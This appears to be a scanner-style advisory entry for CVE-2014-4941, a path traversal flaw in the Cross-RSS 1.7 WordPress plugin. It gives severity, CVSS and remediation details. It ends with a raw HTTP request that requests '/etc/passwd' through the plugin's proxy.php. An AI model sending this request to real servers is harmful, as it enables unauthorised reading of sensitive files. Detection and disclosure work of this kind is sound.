| Title | Cross RSS 1.7 - Local File Inclusion |
|---|---|
| Author | DhiyaneshDK |
| Severity | Medium |
| Impact | Attackers can read arbitrary files on the server, potentially exposing sensitive information. |
| Remediation | Update to the latest version of the plugin that addresses this vulnerability. |
| CVSS Score | 5 |
| EPSS Score | 0.01851 |
| CVE ID | CVE-2014-4941 |
| CWE ID | CWE-22 |
| Tags | cve cve2014 wp-cross-rss wordpress wp-plugin lfi wp vuln |
Absolute path traversal vulnerability in Cross-RSS (wp-cross-rss) plugin 1.7 for WordPress allows remote attackers to read arbitrary files via a full pathname in the rss parameter to proxy.php.
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Connection: close
Accept-Encoding: gzip
GET /wp-content/plugins/cross-rss/proxy.php?rss=/etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3
Connection: close
Accept-Encoding: gzip
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